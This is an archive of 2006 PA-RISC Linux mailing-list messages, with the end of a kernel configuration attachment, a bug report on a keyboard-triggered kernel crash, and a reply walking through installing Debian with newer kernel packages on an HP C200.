# CONFIG_USB_ACM is not set=0A=
CONFIG_USB_PRINTER=3Dm=0A=
=0A=
#=0A=
# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'=0A=
#=0A=
=0A=
#=0A=
# may also be needed; see USB_STORAGE Help for more information=0A=
#=0A=
CONFIG_USB_STORAGE=3Dm=0A=
CONFIG_USB_STORAGE_DEBUG=3Dy=0A=
# CONFIG_USB_STORAGE_DATAFAB is not set=0A=
# CONFIG_USB_STORAGE_FREECOM is not set=0A=
# CONFIG_USB_STORAGE_DPCM is not set=0A=
# CONFIG_USB_STORAGE_USBAT is not set=0A=
# CONFIG_USB_STORAGE_SDDR09 is not set=0A=
# CONFIG_USB_STORAGE_SDDR55 is not set=0A=
# CONFIG_USB_STORAGE_JUMPSHOT is not set=0A=
# CONFIG_USB_STORAGE_ONETOUCH is not set=0A=
=0A=
#=0A=
# USB Input Devices=0A=
#=0A=
CONFIG_USB_HID=3Dm=0A=
CONFIG_USB_HIDINPUT=3Dy=0A=
# CONFIG_HID_FF is not set=0A=
# CONFIG_USB_HIDDEV is not set=0A=
=0A=
#=0A=
# USB HID Boot Protocol drivers=0A=
#=0A=
# CONFIG_USB_KBD is not set=0A=
# CONFIG_USB_MOUSE is not set=0A=
# CONFIG_USB_AIPTEK is not set=0A=
# CONFIG_USB_WACOM is not set=0A=
# CONFIG_USB_ACECAD is not set=0A=
# CONFIG_USB_KBTAB is not set=0A=
# CONFIG_USB_POWERMATE is not set=0A=
# CONFIG_USB_MTOUCH is not set=0A=
# CONFIG_USB_ITMTOUCH is not set=0A=
# CONFIG_USB_EGALAX is not set=0A=
# CONFIG_USB_YEALINK is not set=0A=
# CONFIG_USB_XPAD is not set=0A=
# CONFIG_USB_ATI_REMOTE is not set=0A=
# CONFIG_USB_KEYSPAN_REMOTE is not set=0A=
# CONFIG_USB_APPLETOUCH is not set=0A=
=0A=
#=0A=
# USB Imaging devices=0A=
#=0A=
# CONFIG_USB_MDC800 is not set=0A=
# CONFIG_USB_MICROTEK is not set=0A=
=0A=
#=0A=
# USB Multimedia devices=0A=
#=0A=
# CONFIG_USB_DABUSB is not set=0A=
=0A=
#=0A=
# Video4Linux support is needed for USB Multimedia device support=0A=
#=0A=
=0A=
#=0A=
# USB Network Adapters=0A=
#=0A=
# CONFIG_USB_CATC is not set=0A=
# CONFIG_USB_KAWETH is not set=0A=
# CONFIG_USB_PEGASUS is not set=0A=
# CONFIG_USB_RTL8150 is not set=0A=
# CONFIG_USB_USBNET is not set=0A=
# CONFIG_USB_MON is not set=0A=
=0A=
#=0A=
# USB port drivers=0A=
#=0A=
# CONFIG_USB_USS720 is not set=0A=
=0A=
#=0A=
# USB Serial Converter support=0A=
#=0A=
# CONFIG_USB_SERIAL is not set=0A=
=0A=
#=0A=
# USB Miscellaneous drivers=0A=
#=0A=
# CONFIG_USB_EMI62 is not set=0A=
# CONFIG_USB_EMI26 is not set=0A=
# CONFIG_USB_AUERSWALD is not set=0A=
# CONFIG_USB_RIO500 is not set=0A=
# CONFIG_USB_LEGOTOWER is not set=0A=
# CONFIG_USB_LCD is not set=0A=
# CONFIG_USB_LED is not set=0A=
# CONFIG_USB_CYTHERM is not set=0A=
# CONFIG_USB_PHIDGETKIT is not set=0A=
# CONFIG_USB_PHIDGETSERVO is not set=0A=
# CONFIG_USB_IDMOUSE is not set=0A=
# CONFIG_USB_SISUSBVGA is not set=0A=
# CONFIG_USB_LD is not set=0A=
# CONFIG_USB_TEST is not set=0A=
=0A=
#=0A=
# USB DSL modem support=0A=
#=0A=
=0A=
#=0A=
# USB Gadget Support=0A=
#=0A=
# CONFIG_USB_GADGET is not set=0A=
=0A=
#=0A=
# MMC/SD Card support=0A=
#=0A=
# CONFIG_MMC is not set=0A=
=0A=
#=0A=
# InfiniBand support=0A=
#=0A=
# CONFIG_INFINIBAND is not set=0A=
=0A=
#=0A=
# SN Devices=0A=
#=0A=
=0A=
#=0A=
# File systems=0A=
#=0A=
# CONFIG_EXT2_FS is not set=0A=
CONFIG_EXT3_FS=3Dy=0A=
# CONFIG_EXT3_FS_XATTR is not set=0A=
CONFIG_JBD=3Dy=0A=
# CONFIG_JBD_DEBUG is not set=0A=
CONFIG_REISERFS_FS=3Dy=0A=
# CONFIG_REISERFS_CHECK is not set=0A=
# CONFIG_REISERFS_PROC_INFO is not set=0A=
# CONFIG_REISERFS_FS_XATTR is not set=0A=
# CONFIG_JFS_FS is not set=0A=
CONFIG_FS_POSIX_ACL=3Dy=0A=
# CONFIG_XFS_FS is not set=0A=
# CONFIG_MINIX_FS is not set=0A=
# CONFIG_ROMFS_FS is not set=0A=
CONFIG_INOTIFY=3Dy=0A=
# CONFIG_QUOTA is not set=0A=
CONFIG_DNOTIFY=3Dy=0A=
# CONFIG_AUTOFS_FS is not set=0A=
# CONFIG_AUTOFS4_FS is not set=0A=
# CONFIG_FUSE_FS is not set=0A=
=0A=
#=0A=
# CD-ROM/DVD Filesystems=0A=
#=0A=
CONFIG_ISO9660_FS=3Dy=0A=
CONFIG_JOLIET=3Dy=0A=
# CONFIG_ZISOFS is not set=0A=
# CONFIG_UDF_FS is not set=0A=
=0A=
#=0A=
# DOS/FAT/NT Filesystems=0A=
#=0A=
# CONFIG_MSDOS_FS is not set=0A=
# CONFIG_VFAT_FS is not set=0A=
# CONFIG_NTFS_FS is not set=0A=
=0A=
#=0A=
# Pseudo filesystems=0A=
#=0A=
CONFIG_PROC_FS=3Dy=0A=
CONFIG_PROC_KCORE=3Dy=0A=
CONFIG_SYSFS=3Dy=0A=
CONFIG_TMPFS=3Dy=0A=
# CONFIG_HUGETLB_PAGE is not set=0A=
CONFIG_RAMFS=3Dy=0A=
# CONFIG_RELAYFS_FS is not set=0A=
=0A=
#=0A=
# Miscellaneous filesystems=0A=
#=0A=
# CONFIG_ADFS_FS is not set=0A=
# CONFIG_AFFS_FS is not set=0A=
# CONFIG_HFS_FS is not set=0A=
# CONFIG_HFSPLUS_FS is not set=0A=
# CONFIG_BEFS_FS is not set=0A=
# CONFIG_BFS_FS is not set=0A=
# CONFIG_EFS_FS is not set=0A=
# CONFIG_CRAMFS is not set=0A=
# CONFIG_SQUASHFS is not set=0A=
# CONFIG_VXFS_FS is not set=0A=
# CONFIG_HPFS_FS is not set=0A=
# CONFIG_QNX4FS_FS is not set=0A=
# CONFIG_SYSV_FS is not set=0A=
# CONFIG_UFS_FS is not set=0A=
=0A=
#=0A=
# Network File Systems=0A=
#=0A=
CONFIG_NFS_FS=3Dm=0A=
CONFIG_NFS_V3=3Dy=0A=
CONFIG_NFS_V3_ACL=3Dy=0A=
CONFIG_NFS_V4=3Dy=0A=
# CONFIG_NFS_DIRECTIO is not set=0A=
CONFIG_NFSD=3Dm=0A=
CONFIG_NFSD_V2_ACL=3Dy=0A=
CONFIG_NFSD_V3=3Dy=0A=
CONFIG_NFSD_V3_ACL=3Dy=0A=
# CONFIG_NFSD_V4 is not set=0A=
CONFIG_NFSD_TCP=3Dy=0A=
CONFIG_LOCKD=3Dm=0A=
CONFIG_LOCKD_V4=3Dy=0A=
CONFIG_EXPORTFS=3Dm=0A=
CONFIG_NFS_ACL_SUPPORT=3Dm=0A=
CONFIG_NFS_COMMON=3Dy=0A=
CONFIG_SUNRPC=3Dm=0A=
CONFIG_SUNRPC_GSS=3Dm=0A=
CONFIG_RPCSEC_GSS_KRB5=3Dm=0A=
# CONFIG_RPCSEC_GSS_SPKM3 is not set=0A=
CONFIG_SMB_FS=3Dm=0A=
# CONFIG_SMB_NLS_DEFAULT is not set=0A=
CONFIG_CIFS=3Dm=0A=
# CONFIG_CIFS_STATS is not set=0A=
# CONFIG_CIFS_XATTR is not set=0A=
# CONFIG_CIFS_EXPERIMENTAL is not set=0A=
# CONFIG_NCP_FS is not set=0A=
# CONFIG_CODA_FS is not set=0A=
# CONFIG_AFS_FS is not set=0A=
CONFIG_9P_FS=3Dm=0A=
=0A=
#=0A=
# Partition Types=0A=
#=0A=
# CONFIG_PARTITION_ADVANCED is not set=0A=
CONFIG_MSDOS_PARTITION=3Dy=0A=
=0A=
#=0A=
# Native Language Support=0A=
#=0A=
CONFIG_NLS=3Dy=0A=
CONFIG_NLS_DEFAULT=3D"iso8859-1"=0A=
# CONFIG_NLS_CODEPAGE_437 is not set=0A=
# CONFIG_NLS_CODEPAGE_737 is not set=0A=
# CONFIG_NLS_CODEPAGE_775 is not set=0A=
# CONFIG_NLS_CODEPAGE_850 is not set=0A=
# CONFIG_NLS_CODEPAGE_852 is not set=0A=
# CONFIG_NLS_CODEPAGE_855 is not set=0A=
# CONFIG_NLS_CODEPAGE_857 is not set=0A=
# CONFIG_NLS_CODEPAGE_860 is not set=0A=
# CONFIG_NLS_CODEPAGE_861 is not set=0A=
# CONFIG_NLS_CODEPAGE_862 is not set=0A=
# CONFIG_NLS_CODEPAGE_863 is not set=0A=
# CONFIG_NLS_CODEPAGE_864 is not set=0A=
# CONFIG_NLS_CODEPAGE_865 is not set=0A=
# CONFIG_NLS_CODEPAGE_866 is not set=0A=
# CONFIG_NLS_CODEPAGE_869 is not set=0A=
# CONFIG_NLS_CODEPAGE_936 is not set=0A=
# CONFIG_NLS_CODEPAGE_950 is not set=0A=
# CONFIG_NLS_CODEPAGE_932 is not set=0A=
# CONFIG_NLS_CODEPAGE_949 is not set=0A=
# CONFIG_NLS_CODEPAGE_874 is not set=0A=
# CONFIG_NLS_ISO8859_8 is not set=0A=
# CONFIG_NLS_CODEPAGE_1250 is not set=0A=
# CONFIG_NLS_CODEPAGE_1251 is not set=0A=
# CONFIG_NLS_ASCII is not set=0A=
# CONFIG_NLS_ISO8859_1 is not set=0A=
# CONFIG_NLS_ISO8859_2 is not set=0A=
# CONFIG_NLS_ISO8859_3 is not set=0A=
# CONFIG_NLS_ISO8859_4 is not set=0A=
# CONFIG_NLS_ISO8859_5 is not set=0A=
# CONFIG_NLS_ISO8859_6 is not set=0A=
# CONFIG_NLS_ISO8859_7 is not set=0A=
# CONFIG_NLS_ISO8859_9 is not set=0A=
# CONFIG_NLS_ISO8859_13 is not set=0A=
# CONFIG_NLS_ISO8859_14 is not set=0A=
# CONFIG_NLS_ISO8859_15 is not set=0A=
# CONFIG_NLS_KOI8_R is not set=0A=
# CONFIG_NLS_KOI8_U is not set=0A=
# CONFIG_NLS_UTF8 is not set=0A=
=0A=
#=0A=
# Profiling support=0A=
#=0A=
# CONFIG_PROFILING is not set=0A=
=0A=
#=0A=
# Kernel hacking=0A=
#=0A=
# CONFIG_PRINTK_TIME is not set=0A=
# CONFIG_DEBUG_KERNEL is not set=0A=
CONFIG_LOG_BUF_SHIFT=3D14=0A=
=0A=
#=0A=
# Security options=0A=
#=0A=
# CONFIG_KEYS is not set=0A=
# CONFIG_SECURITY is not set=0A=
=0A=
#=0A=
# Cryptographic options=0A=
#=0A=
CONFIG_CRYPTO=3Dy=0A=
CONFIG_CRYPTO_HMAC=3Dy=0A=
CONFIG_CRYPTO_NULL=3Dm=0A=
CONFIG_CRYPTO_MD4=3Dy=0A=
CONFIG_CRYPTO_MD5=3Dy=0A=
CONFIG_CRYPTO_SHA1=3Dm=0A=
CONFIG_CRYPTO_SHA256=3Dm=0A=
CONFIG_CRYPTO_SHA512=3Dm=0A=
CONFIG_CRYPTO_WP512=3Dm=0A=
CONFIG_CRYPTO_TGR192=3Dm=0A=
CONFIG_CRYPTO_DES=3Dm=0A=
CONFIG_CRYPTO_BLOWFISH=3Dm=0A=
CONFIG_CRYPTO_TWOFISH=3Dm=0A=
CONFIG_CRYPTO_SERPENT=3Dm=0A=
CONFIG_CRYPTO_AES=3Dm=0A=
CONFIG_CRYPTO_CAST5=3Dm=0A=
CONFIG_CRYPTO_CAST6=3Dm=0A=
CONFIG_CRYPTO_TEA=3Dm=0A=
CONFIG_CRYPTO_ARC4=3Dm=0A=
CONFIG_CRYPTO_KHAZAD=3Dm=0A=
CONFIG_CRYPTO_ANUBIS=3Dm=0A=
CONFIG_CRYPTO_DEFLATE=3Dm=0A=
CONFIG_CRYPTO_MICHAEL_MIC=3Dm=0A=
CONFIG_CRYPTO_CRC32C=3Dy=0A=
# CONFIG_CRYPTO_TEST is not set=0A=
=0A=
#=0A=
# Hardware crypto devices=0A=
#=0A=
=0A=
#=0A=
# Library routines=0A=
#=0A=
# CONFIG_CRC_CCITT is not set=0A=
# CONFIG_CRC16 is not set=0A=
CONFIG_CRC32=3Dy=0A=
CONFIG_LIBCRC32C=3Dy=0A=
CONFIG_ZLIB_INFLATE=3Dm=0A=
CONFIG_ZLIB_DEFLATE=3Dm=0A=

------=_NextPart_000_0076_01C621C1.F67DEB90
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_NextPart_000_0076_01C621C1.F67DEB90--




From - Thu Nov 08 21:34:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Walter <richard@richardwalter.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel 2.6.15-pa1 and 2.6.15.1-pa4 fault on HIL
	keyboard event
Date: Thu, 26 Jan 2006 21:22:47 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <200601262122.47507.richard@richardwalter.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624001 18055 80.91.229.3 (22 Nov 2014 02:40:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jan 2006 20:27:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 26 Jan 2006 21:27:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3364B7D6B8;
	Thu, 26 Jan 2006 13:27:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06574-02; Thu, 26 Jan 2006 13:27:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9F2377D6CB;
	Thu, 26 Jan 2006 13:27:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3FA4E7D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Jan 2006 13:27:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06151-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Jan 2006 13:27:38 -0700 (MST)
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de
	[212.227.126.186])
	by free.linux.hp.com (Postfix) with ESMTP id 54EC67D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Jan 2006 13:27:38 -0700 (MST)
Original-Received: from [84.163.194.241] (helo=[10.0.0.3])
	by mrelayeu.kundenserver.de (node=mrelayeu9) with ESMTP (Nemesis),
	id 0ML2xA-1F2DdH3MkA-00045I; Thu, 26 Jan 2006 21:22:19 +0100
User-Agent: KMail/1.8.3
Content-Disposition: inline
X-Provags-ID: kundenserver.de abuse@kundenserver.de
	login:f14d3e607e06fdf30863e8ba02b8ef71
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nFWrY4BdeSEkb76WZHQhaXN1IGRvbwB/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23405

Hello,

when I touch any key of my HIL keyboard, the kernels mentioned above fail 
immediately.

The machine in question is a HP9000 735/125 running Gentoo Linux, using 
gcc-3.3.6, binutils-2.16.1 and glibc-2.3.4.20040808-r1.

If dmesg -n 7 was issued (obviously by an ssh session) or I press a key before 
the rc scripts run, then I get an output like
http://www.richardwalter.de/Backtrace%202.6.15_p1%20on%20keyboard%20event%20second%20try
and the machine does not move any further.

The kernel sources are hppa-sources-2.6.15_p1 from portage, the .config file 
is
http://www.richardwalter.de/.config
the System.map is
http://www.richardwalter.de/System.map.bz2
and the resulting vmlinux looks like this one
http://www.richardwalter.de/vmlinux.bz2
(I compressed the latter two for bandwith-limited people)

I have been able to locate the crash to the file
sftp://root@10.0.0.254/usr/src/linux/drivers/input/input.c
in the function
void input_event(struct input_dev *dev, unsigned int type, unsigned int code, 
int value)
to the line 182 which says
			if (handle->open)

Unfortunately I have not been able to locate the source of this error.

If it is of help, I also inspected the CPU instruction on adress 0c681093, 
according to gdb it says 
ldw -c(r3),r19

I have experienced the similar problem on 2.6.15.1-pa4, but did not intercept 
it to the same depth. Up to now, I could not test any post-2.6.15.x-kernels, 
and the pre-2.6.15-kernels in portage did not have that problem.

Thanks for help
	HPRichard
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabio Bizzi <fbizzi@bizzi.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to install ...bian-31r1a-hppa on a C200
Date: Mon, 30 Jan 2006 09:24:09 +0100
Organization: bizzi.org
Lines: 55
Approved: news@gmane.org
Message-ID: <43DDCD29.8080800__7099.90802356533$1416624001$gmane$org@bizzi.org>
References: <004b01c62550$59414920$040aa8c0@local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624001 18063 80.91.229.3 (22 Nov 2014 02:40:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:01 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: =?UTF-8?B?642w7J207YSw7YWN?= <support@datatek.co.kr>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jan 2006 08:24:19 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx029) with SMTP; 30 Jan 2006 09:24:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 3AA8F2E003; Mon, 30 Jan 2006 02:24:17 -0600 (CST)
Old-Return-Path: <fbizzi@bizzi.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from ns.bizzi.org (unknown [213.213.72.170])
	by murphy.debian.org (Postfix) with ESMTP id 9D29E2DDE3
	for <debian-hppa@lists.debian.org>; Mon, 30 Jan 2006 02:24:14 -0600 (CST)
Original-Received: (qmail 6157 invoked by uid 89); 30 Jan 2006 08:18:16 -0000
Original-Received: by simscan 1.1.0 ppid: 6150, pid: 6153, t: 3.0444s
         scanners: clamav: 0.86.2/m:33/d:1061 spam: 3.0.4
Original-Received: from unknown (HELO ?213.213.72.248?) (fabio@bizzi.org@213.213.72.248)
  by ns.bizzi.org with SMTP; 30 Jan 2006 08:18:13 -0000
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)
X-Accept-Language: en-us, en
In-Reply-To: <004b01c62550$59414920$040aa8c0@local>
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-2.4 required=4.0 tests=AWL,BODY_8BITS,LDOSUBSCRIBER 
	autolearn=no version=3.0.3
Resent-Message-ID: <oe8bV.A.auE.x0c3DB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5122
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 30 Jan 2006 02:24:17 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: ZKivY7AaeSEkb76WZHQhaXN1IGRvbwBY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23406

데이터텍 wrote:
> I would like to install a debian-31r1a-hppa-netinst.iso, but there's an 
> error while base installation.
> My machine is HP C200 having 256MB with SCSI CD, SCSI HDD(18GB).

Ok, we have worked it out some times ago'! :)

The problem is that the stock sarge kernel is buggy on big disks.
So you have to do a clean installation from 3.1r1a disks, and when the
installer asks to you to reboot, you have to "go back" until the main
menu of the installer will shown.
At this point you have to open a shell, verify that all the partitions
of the target file system are mounted eg:

/dev/sda1 on /target/boot ext2
/dev/sda5 on /target ext3
/none on /target/proc procfs

It's important that proc file system is mounted on the target file
system or the installation of the new kernel will fail.

Now do a chroot to the new system "# chroot /target /bin/bash"
wget to the nwe filesystem the testing kernel images:


# wget
http://ftp.ie.debian.org/debian/pool/main/l/linux-2.6/linux-image-parisc_2.6.12-10_hppa.deb
# wget
http://ftp.ie.debian.org/debian/pool/main/l/linux-2.6/linux-image-2.6-parisc_2.6.12-10_hppa.deb
# wget
http://ftp.ie.debian.org/debian/pool/main/l/linux-2.6/linux-image-2.6.12-1-parisc_2.6.12-10_hppa.deb

And now install them with “#dpkg -i linux-*”, after the installation do
a "# palo" and exit from the shell.

Unmount the proc filesystem from the target filesystem “# unmount
/target/proc” and exit from the shell.

Select the “finish installation” of the installation program’s menù and
reboot the C200, after the reboot continue with base-config and so on.... ;)


If you experience troubles before the "reboot" prompt, power off and try
again... sometime it happens! ;)

Ciao.

	Fabio.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to install ...bian-31r1a-hppa on a C200
Date: Tue, 31 Jan 2006 09:02:30 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20060131160230.GA17042__36739.800804253$1416624002$gmane$org@colo.lackof.org>
References: <004b01c62550$59414920$040aa8c0@local> <43DDCD29.8080800@bizzi.org>
	<001101c6263d$06e3f0e0$040aa8c0@local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624002 18066 80.91.229.3 (22 Nov 2014 02:40:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: ???????????? <support@datatek.co.kr>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jan 2006 15:53:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 31 Jan 2006 16:53:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76E867D6C4;
	Tue, 31 Jan 2006 08:52:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29900-06; Tue, 31 Jan 2006 08:52:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CA027D6C1;
	Tue, 31 Jan 2006 08:52:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0D9C7D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Jan 2006 08:52:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29900-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Jan 2006 08:52:48 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 06D5C7D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Jan 2006 08:52:48 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 64C7D360018;
	Tue, 31 Jan 2006 09:02:30 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16687-07; Tue, 31 Jan 2006 09:02:30 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0BFFB360014; Tue, 31 Jan 2006 09:02:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <001101c6263d$06e3f0e0$040aa8c0@local>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iOKtY18ueSEkI76WZHQhaXN1IGRvbwBC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
